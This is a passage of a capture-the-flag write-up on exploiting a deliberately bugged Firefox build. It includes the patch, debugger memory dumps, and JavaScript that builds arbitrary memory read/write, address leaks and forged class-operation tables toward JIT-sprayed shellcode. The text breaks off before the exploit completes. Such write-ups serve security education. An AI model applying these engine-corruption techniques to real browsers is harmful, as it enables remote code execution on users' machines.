Outfoxed

Authors: Nspace

Tags: pwn, browser

Points: 498

Just your average, easy browser pwn!

https://outfoxed.be.ax

outfoxed.tar.xz

Analysis

In this challenge the authors visit a webpage of our choosing using a buggy Firefox. Our job is to exploit the Firefox bug and use it to read the flag which is stored on the challenge server.

Let’s start by checking out the attachments:

$ tree outfoxed
outfoxed
├── app
│   ├── flag.txt
│   ├── fox.py
│   └── reader
├── code
│   ├── log
│   ├── mozconfig
│   ├── patch
│   └── README.md
├── docker-compose.yml
└── Dockerfile

The challenge runs in a container built from the following Dockerfile:

FROM python:slim
RUN apt-get update \
	&& apt-get install -y socat curl gzip \
	&& apt-get install -y --no-install-recommends \
	libglib2.0-0 libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 \
	libxkbcommon0 libxcomposite1 libxdamage1 libxrandr2 libgbm1 libgtk-3-0 \
	libasound2 libxshmfence1 libx11-xcb1 libdbus-glib-1-2 libxtst6 libxt6 && rm -rf /var/lib/apt/lists/*

COPY app/flag.txt /flag.txt
COPY app/reader /reader
RUN chmod 0640 /flag.txt && chmod 6755 /reader

RUN useradd -ms /bin/bash ctf

WORKDIR /app
RUN curl -fsS https://files.be.ax/outfoxed-7d11ebc85cf45e851977eda017da26ad71b225ecf28e3f2973fc1cbd09dd3286/outfoxed.tar.gz | tar x
COPY app/fox.py /app/flag.py

USER ctf
CMD  ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/app/flag.py"]

OBJECTIVE: read flag.txt.

Firefox runs as the user ctf, but only root can read the flag. The only way to get it is to execute the reader program which prints the flag and is setuid root. This setup means that reading arbitrary files is not enough, and instead we need to get code execution in the container.

NEW OBJECTIVE: execute /reader and read its output.

fox.py reads a webpage from us and opens it in Firefox:

#!/usr/bin/env python3

import os
import sys
import tempfile

print("Enter exploit followed by EOF: ")
sys.stdout.flush()

buf = ""
while "EOF" not in buf:
    buf += input() + "\n"

with tempfile.TemporaryDirectory() as dir:
    os.chdir(dir)
    with open("exploit.html", 'w') as f:
        f.write("<script src='exploit.js'></script>")
    with open("exploit.js", 'w') as f:
        f.write(buf[:-3])
    os.environ["MOZ_DISABLE_CONTENT_SANDBOX"] = "1"
    os.system(f"timeout 20s /app/firefox/firefox --headless exploit.html")

The script sets the MOZ_DISABLE_CONTENT_SANDBOX environment variable which disables Firefox’s sandbox. Modern web browsers employ a multi-process architecture to defend against vulnerabilities: the browser process is privileged and has access to everything, whereas the renderer processes are heavily sandboxed and can do almost nothing without going through the browser process. The code that is most vulnerable to attacks (e.g., because it handles untrusted data) runs in the renderer process so that even if an attacker manages to exploit it, they still cannot take over the machine. If you’re interested in learning more, LiveOverflow has a video that talks about browser sandboxing. Here the sandbox is disabled, so a compromised renderer process is free to read/write files and execute other programs. This means that taking over the renderer process is enough to solve the challenge, as we can then execute /reader and get the flag.

NEW OBJECTIVE: compromise Firefox’s renderer process.

Patch

Browser challenges don’t usually ask the players to exploit a real-world bug (although there are exceptions of course). Instead, the author typically introduces their own bug into the browser, and players have to exploit that. This challenge is no different, and it includes the author’s Firefox patch. Let’s have a look at that:

diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp
+++ b/js/src/builtin/Array.cpp
@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon
   return GetProperty(cx, obj, obj, id, vp);
 }
 
+static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj,
+                                   uint64_t index, MutableHandleValue vp) {
+  if (obj->is<NativeObject>()) {
+    NativeObject* nobj = &obj->as<NativeObject>();
+    vp.set(nobj->getDenseElement(size_t(index)));
+    if (!vp.isMagic(JS_ELEMENTS_HOLE)) {
+      return true;
+    }
+
+    if (nobj->is<ArgumentsObject>() && index <= UINT32_MAX) {
+      if (nobj->as<ArgumentsObject>().maybeGetElement(uint32_t(index), vp)) {
+        return true;
+      }
+    }
+  }
+
+  RootedId id(cx);
+  if (!ToId(cx, index, &id)) {
+    return false;
+  }
+  return GetProperty(cx, obj, obj, id, vp);
+}
+
 static inline bool DefineArrayElement(JSContext* cx, HandleObject obj,
                                       uint64_t index, HandleValue value) {
   RootedId id(cx);
@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write };
 template <ArrayAccess Access>
 static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) {
   /* If the desired properties overflow dense storage, we can't optimize. */
+
   if (endIndex > UINT32_MAX) {
     return false;
   }
@@ -3342,6 +3366,34 @@ static bool ArraySliceOrdinary(JSContext
   return true;
 }
 
+
+bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) {
+  CallArgs args = CallArgsFromVp(argc, vp);
+  RootedObject obj(cx, ToObject(cx, args.thisv()));
+  double index;
+  if (args.length() == 1) {
+    if (!ToInteger(cx, args[0], &index)) {
+      return false;
+    }
+    GetTotallySafeArrayElement(cx, obj, index, args.rval());
+  } else if (args.length() == 2) {
+    if (!ToInteger(cx, args[0], &index)) {
+      return false;
+    }
+    NativeObject* nobj =
+        obj->is<NativeObject>() ? &obj->as<NativeObject>() : nullptr;
+    if (nobj) {
+      nobj->setDenseElement(index, args[1]);
+    } else {
+      puts("Not dense");
+    }
+    GetTotallySafeArrayElement(cx, obj, index, args.rval());
+  } else {
+    return false;
+  }
+  return true;
+}
+
 /* ES 2016 draft Mar 25, 2016 22.1.3.23. */
 bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) {
   AutoGeckoProfilerEntry pseudoFrame(
@@ -3569,6 +3621,7 @@ static const JSJitInfo array_splice_info
 };
 
 static const JSFunctionSpec array_methods[] = {
+    JS_FN("oob", array_oob, 2, 0),
     JS_FN(js_toSource_str, array_toSource, 0, 0),
     JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0),
     JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0),
diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h
--- a/js/src/builtin/Array.h
+++ b/js/src/builtin/Array.h
@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u
 
 extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp);
 
+extern bool array_oob(JSContext* cx, unsigned argc, Value* vp);
+
 extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin,
                                  int32_t end, HandleObject result);

The patch looks a bit complicated, but in reality it only adds a new oob method to JavaScript arrays. Array.prototype.oob lets us read and write an element of the array. For example:

let a = [1, 2];

// Read an element of the array
console.log(a.oob(0));
// prints 1

// Write an element of the array
a.oob(1, 1234);
console.log(a);
// prints 1, 1234

The catch is that oob doesn’t perform any bounds checking, so it lets us read and write out of bounds:

console.log(a.oob(1000));
// prints 5e-324

Bugs like this are generally pretty straightforward to turn into code execution. So with that in mind, let’s get started!

Setup

Debugging a browser is usually a bit complicated because of the multi-process setup. Fortunately, it’s usually possible to build a JavaScript shell that only includes the JavaScript runtime and that we can debug easily with GDB. Firefox is no exception here. I built Firefox’s JavaScript shell by following Mozilla’s documentation. Make sure to use the same version as the author (655554:f4922b9e9a6b) and to apply the patch before compiling. While building in debug mode is generally a good idea when debugging, accessing arrays out of bounds with oob causes an assertion failure which crashes the shell so I used a release build to develop the exploit. We can debug the resulting js binary easily in GDB.

I will be using pwndbg, a GDB plugin that adds a lot of nice features, throughout the writeup.

pwndbg: loaded 195 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from dist/bin/js...
pwndbg> b js::math_atan2
Breakpoint 1 at 0x134b162: file /home/matteo/Documents/gecko-dev/js/src/jsmath.cpp, line 162.
pwndbg> r
js> Math.atan2(2)

Thread 1 "js" hit Breakpoint 1, js::math_atan2 (cx=cx@entry=0x7ffff6518000, argc=1, vp=0x7ffff5343098) at js/src/jsmath.cpp:162
162	  CallArgs args = CallArgsFromVp(argc, vp);
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1
 RBX  0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ...
 RCX  0x4be574f94dddc200
 RDX  0x7ffff5343098 ◂— 0xfffe3eb45a763158
 RDI  0x7ffff6518000 ◂— 0x0
 RSI  0x1
 R8   0x1a
 R9   0x7fffffffc648 —▸ 0x3eb45a761360 ◂— 0x500000258
 R10  0x7ffff52c6c00 ◂— 0x0
 R11  0x7fffffffc598 —▸ 0x7fffffffc638 ◂— 0x0
 R12  0x55555689f140 ◂— push   rbp
 R13  0x7fffffffc750 —▸ 0x7ffff53430a8 ◂— 0xfff8800000000002
 R14  0x7ffff6518000 ◂— 0x0
 R15  0x7ffff5343098 ◂— 0xfffe3eb45a763158
 RBP  0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ...
 RSP  0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ...
 RIP  0x55555689f162 ◂— mov    rcx, qword ptr [rdx + 8]
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
 ► 0x55555689f162    mov    rcx, qword ptr [rdx + 8]
   0x55555689f166    mov    rdx, rcx
   0x55555689f169    shr    rdx, 0x2f
   0x55555689f16d    cmp    edx, 0x1fff5
   0x55555689f173    jne    0x55555689f17e                <0x55555689f17e>
    ↓
   0x55555689f17e    test   eax, eax
   0x55555689f180    je     0x55555689f197                <0x55555689f197>
 
   0x55555689f182    lea    rsi, [r15 + 0x10]
   0x55555689f186    cmp    eax, 1
   0x55555689f189    jne    0x55555689f1a6                <0x55555689f1a6>
 
   0x55555689f18b    lea    rax, [rip + 0xdc61de]         <0x555557665370>
──────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────
In file: js/src/jsmath.cpp
   157   res.setDouble(z);
   158   return true;
   159 }
   160 
   161 bool js::math_atan2(JSContext* cx, unsigned argc, Value* vp) {
 ► 162   CallArgs args = CallArgsFromVp(argc, vp);
   163 
   164   return math_atan2_handle(cx, args.get(0), args.get(1), args.rval());
   165 }
   166 
   167 double js::math_ceil_impl(double x) {
──────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ...
01:0008│     0x7fffffffc5b8 —▸ 0x7ffff6518060 —▸ 0x7fffffffc7a8 ◂— 0x7ffff6518060
02:0010│     0x7fffffffc5c0 ◂— 0x4be574f94dddc200
03:0018│     0x7fffffffc5c8 —▸ 0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 ◂— ...
04:0020│     0x7fffffffc5d0 —▸ 0x7ffff6518000 ◂— 0x0
05:0028│     0x7fffffffc5d8 —▸ 0x7fffffffc618 —▸ 0x7ffff6518000 ◂— 0x0
06:0030│ rbp 0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ...
07:0038│     0x7fffffffc5e8 —▸ 0x5555568b2252 ◂— mov    r15d, eax
────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x55555689f162
   f 1   0x5555568b2252
   f 2   0x5555568b2252
   f 3   0x5555568ac3ff
   f 4   0x5555568ac3ff
   f 5   0x5555568ac3ff
   f 6   0x5555568a40a8
   f 7   0x5555568b388e
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

SpiderMonkey Internals

While I have solved numerous browser challenges based on Chromium, I had never looked at SpiderMonkey (Firefox’s JavaScript engine) before. However JavaScript engines all work in a similar way and my experience with V8 (Chromium’s JavaScript engine) was really helpful in quickly making sense of SpiderMonkey’s internals. I also relied heavily on this blog post by 0vercl0k to understand SpiderMonkey and get ideas on how to proceed in my exploit. I encourage you to go and read it if you’re not already familiar with this engine, but I’ll summarize the more important parts here. As far as I can tell some of the data structures have changed since that blog post was written, so the information in there is not entirely up to date. The important parts have stayed the same though.

JS Arrays

Array.prototype.oob lets us read and write out of bounds of a JavaScript array, so it’s important that we first understand how SpiderMonkey stores JavaScript arrays in memory. A JavaScript array is stored as a js::NativeObject. We can print its memory layout using GDB:

pwndbg> ptype /o js::NativeObject
/* offset    |  size */  type = class js::NativeObject : public JSObject {
                         protected:
/*    8      |     8 */    js::HeapSlot *slots_;
/*   16      |     8 */    js::HeapSlot *elements_;
                           /* total size (bytes):   24 */
                        }

The first 8 bytes contain a pointer to a js::Shape, which essentially describes the memory layout of the object and is used, among other things, by the GC when it needs to figure out what memory to collect. slots_ and elements_ point to the memory that contains the array’s properties, and elements respectively. We can see this when printing the contents of memory in GDB.

js> let a = [1, 2, 3, 4]

pwndbg> tele 0x0e704873d0e0
00:0000│  0xe704873d0e0 —▸ 0xe7048760e20 —▸ 0xe704873b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...
01:0008│  0xe704873d0e8 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│  0xe704873d0f0 —▸ 0xe704873d108 ◂— 0xfff8800000000001
03:0018│  0xe704873d0f8 ◂— 0x400000000
04:0020│  0xe704873d100 ◂— 0x400000006
05:0028│  0xe704873d108 ◂— 0xfff8800000000001
06:0030│  0xe704873d110 ◂— 0xfff8800000000002
07:0038│  0xe704873d118 ◂— 0xfff8800000000003
08:0040│  0xe704873d120 ◂— 0xfff8800000000004
09:0048│  0xe704873d128 ◂— 0x0
... ↓

As we can see, elements_ points to 0xe704873d108, which contains the 4 elements of our array. Since a JavaScript array can contain any type of object, and not just integers, the engine uses NaN tagging to distinguish between different types. Floats are stored as-is, and other types such as integers and pointers contain a tag in the upper 17 bits that identifies their type. This is called NaN tagging because these tagged values correspond to special Not-a-Number values when interpreted as a floating point number. Here, 0xfff88 is the tag for integers, and we can indeed see that our 4 array elements are tagged in this way.

We can verify this by printing the contents of an array that contains other types of objects:

js> let a = [1, 2, 13.37, []]

pwndbg> tele 0x10d983000698
00:0000│  0x10d983000698 —▸ 0x12997c760e20 —▸ 0x12997c73b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...
01:0008│  0x10d9830006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│  0x10d9830006a8 —▸ 0x10d9830006c0 ◂— 0xfff8800000000001
03:0018│  0x10d9830006b0 ◂— 0x400000000
04:0020│  0x10d9830006b8 ◂— 0x400000006
05:0028│  0x10d9830006c0 ◂— 0xfff8800000000001
06:0030│  0x10d9830006c8 ◂— 0xfff8800000000002
07:0038│  0x10d9830006d0 ◂— 0x402abd70a3d70a3d
08:0040│  0x10d9830006d8 ◂— 0xfffe10d9830006f8
09:0048│  0x10d9830006e0 ◂— 0x0
0a:0050│  0x10d9830006e8 ◂— 0x0

pwndbg> p *(double*)0x10d9830006d0
$2 = 13.369999999999999

As we expected, 1 and 2 are tagged with 0xfff88, the float is stored untagged, and the pointer to the array is tagged with 0xfffe. The other two qwords between elements_ and the elements storage is a js::ObjectElements object that describes the length and capacity of the array:

pwndbg> ptype /o js::ObjectElements
/* offset    |  size */  type = class js::ObjectElements {
                         private:
/*    0      |     4 */    uint32_t flags;
/*    4      |     4 */    uint32_t initializedLength;
/*    8      |     4 */    uint32_t capacity;
/*   12      |     4 */    uint32_t length;
                           /* total size (bytes):   16 */
                         }

pwndbg> p *(js::ObjectElements*)0x10d9830006b0
$3 = {
  flags = 0,
  initializedLength = 4,
  capacity = 6,
  length = 4,
}

A typical technique used in exploiting JavaScript engines is to overwrite the elements pointer of an array, then read or write to the array to gain arbitrary memory read and write. While this works, it would be annoying to do so in our exploit because we would need to tag/untag values all the time and we wouldn’t be able to write values that don’t correspond to a valid float or tagged value. Fortunately the JavaScript spec gives us another data structure that is much more convenient for this.

JS TypedArrays

In contrast to regular JavaScript arrays, a TypedArray can only contain integers of a fixed size. For example a Uint32Array can only contain unsigned 32-bit integers. The elements of a TypedArray are always stored untagged, just like in a C array. This avoids the problems I described in the previous section and makes TypedArrays a popular corruption target in JavaScript engine exploits. SpiderMonkey represents TypedArrays as a js::ArrayBufferViewObject:

class ArrayBufferViewObject : public NativeObject {
 public:
  // Underlying (Shared)ArrayBufferObject.
  static constexpr size_t BUFFER_SLOT = 0;

  // Slot containing length of the view in number of typed elements.
  static constexpr size_t LENGTH_SLOT = 1;

  // Offset of view within underlying (Shared)ArrayBufferObject.
  static constexpr size_t BYTEOFFSET_SLOT = 2;

  // Pointer to raw buffer memory.
  static constexpr size_t DATA_SLOT = 3;

  // ...
}
js> let a = new Uint32Array([1, 2, 3, 4])

pwndbg> tele 0x07e2a5200698
00:0000│  0x7e2a5200698 —▸ 0x31e83964940 —▸ 0x31e8393b2b0 —▸ 0x555557664870 (js::TypedArrayObject::classes+240) —▸ 0x555555735fd4 ◂— ...
01:0008│  0x7e2a52006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│  0x7e2a52006a8 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff9800000000000
03:0018│  0x7e2a52006b0 ◂— 0xfffa000000000000
04:0020│  0x7e2a52006b8 ◂— 0x4
05:0028│  0x7e2a52006c0 ◂— 0x0
06:0030│  0x7e2a52006c8 —▸ 0x7e2a52006d0 ◂— 0x200000001
07:0038│  0x7e2a52006d0 ◂— 0x200000001
pwndbg> 
08:0040│  0x7e2a52006d8 ◂— 0x400000003
09:0048│  0x7e2a52006e0 ◂— 0x0
... ↓

An ArrayBufferViewObject has shape, objects, and elements pointers just like a NativeObject. The memory that follows the elements pointers is the storage for the TypedArray’s slots, which in this case contain a pointer to an ArrayBufferObject, the length of the TypedArray, the offset into the ArrayBufferObject, and a pointer to the TypedArray’s elements. The ArrayBuffer and byte offset pointers aren’t really relevant for this exploit so we’ll ignore them here. The data slot is what we really care about, and as you can see it contains our (untagged) numbers:

pwndbg> x/4wx 0x7e2a52006d0
0x7e2a52006d0:	0x00000001	0x00000002	0x00000003	0x00000004

Exploitation

Most, if not all JavaScript engine exploits follow a similar plan: gain arbitrary read/write in the process’ address space and the use that to overwrite some executable code with shellcode or overwrite a code pointer and start a JOP/ROP chain. We’ll develop the exploit in the JavaScript shell and then make it work in Firefox.

Arbitrary R/W

So far the plan seems clear. We will use Array.prototype.oob to overwrite the data pointer of a TypedArray and then use that to read and write to any address.

Let’s start by allocating a regular array and a TypedArray. Most (all?) JavaScript engines allocate objects in sequence, so if we allocate the array the typed array one after the other they should be next to each other in memory.

let a = new Array(1,2,3,4,5,6);
let b = new BigUint64Array(1);
pwndbg> tele 0x10a04c000698
00:0000│  0x10a04c000698 —▸ 0x3c159f560e20 —▸ 0x3c159f53b208 —▸ 0x555557650e10 (js::ArrayObject::class_) —▸ 0x55555574c0be ◂— ...
01:0008│  0x10a04c0006a0 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
02:0010│  0x10a04c0006a8 —▸ 0x10a04c0006c0 ◂— 0xfff8800000000001
03:0018│  0x10a04c0006b0 ◂— 0x600000000
04:0020│  0x10a04c0006b8 ◂— 0x600000006
05:0028│  0x10a04c0006c0 ◂— 0xfff8800000000001
06:0030│  0x10a04c0006c8 ◂— 0xfff8800000000002
07:0038│  0x10a04c0006d0 ◂— 0xfff8800000000003
pwndbg> 
08:0040│  0x10a04c0006d8 ◂— 0xfff8800000000004
09:0048│  0x10a04c0006e0 ◂— 0xfff8800000000005
0a:0050│  0x10a04c0006e8 ◂— 0xfff8800000000006
0b:0058│  0x10a04c0006f0 —▸ 0x7ffff53ac910 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ...
0c:0060│  0x10a04c0006f8 —▸ 0x3c159f564860 —▸ 0x3c159f53b280 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ...
0d:0068│  0x10a04c000700 —▸ 0x5555557672a8 (emptyObjectSlotsHeaders+8) ◂— 0x100000000
0e:0070│  0x10a04c000708 —▸ 0x555555767280 (emptyElementsHeader+16) ◂— 0xfff9800000000000
0f:0078│  0x10a04c000710 ◂— 0xfffa000000000000
pwndbg> 
10:0080│  0x10a04c000718 ◂— 0x1
11:0088│  0x10a04c000720 ◂— 0x0
12:0090│  0x10a04c000728 —▸ 0x10a04c000730 ◂— 0x0
13:0098│  0x10a04c000730 ◂— 0x0
... ↓     4 skipped

pwndbg> distance 0x10a04c0006c0 0x10a04c000728
0x10a04c0006c0->0x10a04c000728 is 0x68 bytes (0xd words)

b’s data pointer is at 0x10a04c000728 and a’s elements are at 0x10a04c0006c0. This means that we can overwrite b’s data pointer by writing to the 13th element with oob.

let converter = new ArrayBuffer(8);
let u64view = new BigUint64Array(converter);
let f64view = new Float64Array(converter);

// Bit-cast an uint64_t to a float64
function i2d(x) {
    u64view[0] = x;
    return f64view[0];
}

// Bit-cast a float64 to an uint64_t
function d2i(x) {
    f64view[0] = x;
    return u64view[0];
}

let a = new Array(1,2,3,4,5,6);
let b = new BigUint64Array(1);

a.oob(13, i2d(0x41414141n))
b[0] = 0n

This crashes by trying to write 0 to 0x41414141, exactly like we would expect:

Thread 1 "js" received signal SIGSEGV, Segmentation fault.
0x000022760cf0b110 in ?? ()
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
 RAX  0x41414141
 RBX  0x7fffffffc3c8 —▸ 0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) ◂— ...
 RCX  0x41414141
 RDX  0xfff9800000000000
 RDI  0x41414141
 RSI  0x0
 R8   0x7fffffffc798 ◂— 0xffffffffffffffff
 R9   0x7fffffffc468 ◂— 0x0
 R10  0xffff800000000000
 R11  0x7fffffffc620 ◂— 0x0
 R12  0xfffdffffffffffff
 R13  0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ...
 R14  0x7fffffffc798 ◂— 0xffffffffffffffff
 R15  0x0
 RBP  0x7fffffffc390 —▸ 0x7fffffffc400 —▸ 0x7fffffffc500 —▸ 0x7fffffffc8e0 —▸ 0x7fffffffc930 ◂— ...
 RSP  0x7fffffffc358 —▸ 0x555556b2a783 ◂— jmp    0x555556b2a8e1
 RIP  0x22760cf0b110 ◂— mov    qword ptr [rdi], rsi
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
 ► 0x22760cf0b110    mov    qword ptr [rdi], rsi
   0x22760cf0b113    ret 

We’ll encapsulate this in two utility functions, read64 and write64:

// Read 64 bits from addr
function read64(addr) {
    a.oob(13, i2d(addr))
    return b[0];
}

// Write 64 bits to addr
function write64(addr, value) {
    a.oob(13, i2d(addr));
    b[0] = value;
}

Code Execution, Take 1

Before I explain how my final exploit works, I’d like to discuss a technique which I tried to use at first and which worked in the JS shell but not in Firefox. I’m not quite sure why it didn’t work in Firefox but if you figure it out, let me know! :)

When researching previous writeups for Firefox challenges I came across this analysis of Saelo’s Feuerfuchs challenge from 33c3. As it turns out, Firefox does not have full RELRO on Linux (!), so the GOT is writable. Moreover, the implementation of TypedArray.prototype.copyWithin(0, x) calls memmove with the address of the TypedArray’s data buffer as the first argument. In this situation, getting code execution is as simple as overwriting the GOT entry of memmove with the address of system, putting our command in a Uint8Array and calling copyWithin(0, 1) on it. Getting the address of libc and the address of the GOT is trivial with arbitrary read/write: the TypedArray’s slots_ and elements_, which we can leak with oob, point to static objects. Unfortunately for us for some reason even though the GOT of libxul.so (the library that contains the JS engine in Firefox) is writable, the pointer to memmove is not in the GOT. It’s in some other section that is read-only, and the PLT stub for memmove gets the address from that section. I spent a lot of time debugging this and trying to make it work but eventually had to give up and search for another strategy. Such is life.

Code Execution, Take 2

Another common technique to turn arbitrary read/write into code execution in a JavaScript engine is to find and overwrite some executable code. On modern OSes a memory region is normally either writable or executable, but not both at the same time to prevent code injection attacks. However the JavaScript engines used in modern browsers make heavy use of JIT compilation and flipping page permissions is relatively expensive. So expensive that sometimes browser authors would rather have memory that is both writable and executable at the same time than pay the performance cost. This is notably the case with WebAssembly in Chrome, which is a well-known way to get RWX memory in the renderer process. Unfortunately, it seems that there is no such easy bypass in Firefox. Or at least I couldn’t find one by searching the internet, let me know if I missed something :) We are going to need yet another approach.

Code Execution, Take 3

At this point I went back to 0vercl0k’s blog post, which has a section on how to get the JIT compiler to generate arbitrary gadgets for you. Sounds promising! The idea is to encode some machine instructions in JavaScript floating-point constants, then get the JIT to compile your function. The compiled machine code will contain our constants (aka our gadgets) as immediates and we can execute them by jumping into the middle of the immediate. Cool! I even found a blog post that includes some Linux shellcode so I don’t even have to write my own ;) This shellcode reads a pointer from [rcx], changes the protection of the page containing that address to RWX, and jumps to it.

All we have to do is find a way to jump to the JITed shellcode with rcx pointing to a pointer to controlled data. Again, 0vercl0k’s blog post is very useful here, specifically this section. In short, every JS object type (e.g. js::ArrayObject) in SpiderMonkey has an associated JSClass which describes the type.

pwndbg> ptype /o JSClass
/* offset    |  size */  type = struct JSClass {
/*    0      |     8 */    const char *name;
/*    8      |     4 */    uint32_t flags;
/* XXX  4-byte hole  */
/*   16      |     8 */    const struct JSClassOps *cOps;
/*   24      |     8 */    const struct js::ClassSpec *spec;
/*   32      |     8 */    const struct js::ClassExtension *ext;
/*   40      |     8 */    const struct js::ObjectOps *oOps;

                           /* total size (bytes):   48 */
                         }

JSClass::cOps points to a table of function pointers which the engine calls when the JavaScript code does certain operations on an object that belongs to this class, much like a C++ vtable:

pwndbg> ptype /o JSClassOps
/* offset    |  size */  type = struct JSClassOps {
/*    0      |     8 */    JSAddPropertyOp addProperty;
/*    8      |     8 */    JSDeletePropertyOp delProperty;
/*   16      |     8 */    JSEnumerateOp enumerate;
/*   24      |     8 */    JSNewEnumerateOp newEnumerate;
/*   32      |     8 */    JSResolveOp resolve;
/*   40      |     8 */    JSMayResolveOp mayResolve;
/*   48      |     8 */    JSFinalizeOp finalize;
/*   56      |     8 */    JSNative call;
/*   64      |     8 */    JSHasInstanceOp hasInstance;
/*   72      |     8 */    JSNative construct;
/*   80      |     8 */    JSTraceOp trace;

                           /* total size (bytes):   88 */
                         }
pwndbg> ptype JSAddPropertyOp
type = bool (*)(struct JSContext *, JS::HandleObject, JS::HandleId, JS::HandleValue)

For example, cOps->addProperty is called whenever JS code adds a new property to the object. The fourth argument (stored in rcx on Linux) contains a handle (a pointer) to the value of the new property. This is perfect because we can completely control this value, and for example we can pass the address of a buffer containing a second-stage shellcode. Great!

We cannot directly overwrite the JsClassOps because they are stored in read-only memory. However we can simply follow the chain of pointers from our object to JSClassOps and replace the last pointer in the chain that is in writable memory with a pointer to a fake. Again, this is all described in 0vercl0k’s post so I won’t bore you with the details.

// Return the address of a JavaScript object
function addrof(x) {
    a.oob(14, x);
    return b[0] & 0xffffffffffffn;
}

const addrof_target = addrof(target);
const target_shape = read64(addrof_target);
const target_base_shape = read64(target_shape);
const target_class = read64(target_base_shape);
const target_ops = read64(target_class + 0x10n);
print(`addrof(target) = ${hex(addrof_target)}`);
print(`target->shape = ${hex(target_shape)}`);
print(`target->shape->base_shape = ${hex(target_base_shape)}`);
print(`target->shape->base_shape->class = ${hex(target_class)}`);
print(`target->shape->base_shape->class->ops = ${hex(target_ops)}`);

const fake_class = new BigUint64Array(48);
const fake_class_buffer = read64(addrof(fake_class) + 0x30n);
for (let i = 0; i < 6; i++) {
    fake_class[i] = read64(target_class + BigInt(i) * 8n);
}

const fake_ops = new BigUint64Array(88);
const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n);
for (let i = 0; i < 11; i++) {
    fake_ops[i] = read64(target_ops + BigInt(i) * 8n);
}

fake_ops[0] = stage1_addr;
fake_class[2] = fake_ops_buffer;
write64(target_base_shape, fake_class_buffer);

target.someprop = i2d(shellcode_addr);

Now all that we have to do is to get the JIT to compile our code and find it in memory. The first part is easy, simply put it in a function and call it many times in a loop until the JIT decides that the function is hot and compiles it:

function jitme () {
    // ...
}

for (let i = 0; i < 100000; i++) {
    jitme();
}

The second part is a bit more tricky. JavaScript functions are represented by a JSFunction, and we can find the region containing the compiled code for that function by following pointers, like this (pointers to executable memory are highlighted in red):

We can get the address of the function by storing it into our TypedArray with oob and then reading the address back, then follow the pointers until the code pointer. However the code pointer doesn’t exactly point to the beginning of the function, but rather to some other place in the same page. The author of the writeup that I got the shellcode from solves this by embedding a magic number in the shellcode and then searching for it using the arbitrary read/write. We’ll do the same.

// Read size bytes from addr
function read(addr, size) {
    assert(size % 8n === 0n);
    let ret = new BigUint64Array(Number(size) / 8);
    for (let i = 0n; i < size / 8n; i++) {
        ret[i] = read64(addr + i * 8n)
    }
    return new Uint8Array(ret.buffer);
}

const addrof_jitme = addrof(jitme);
const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n;
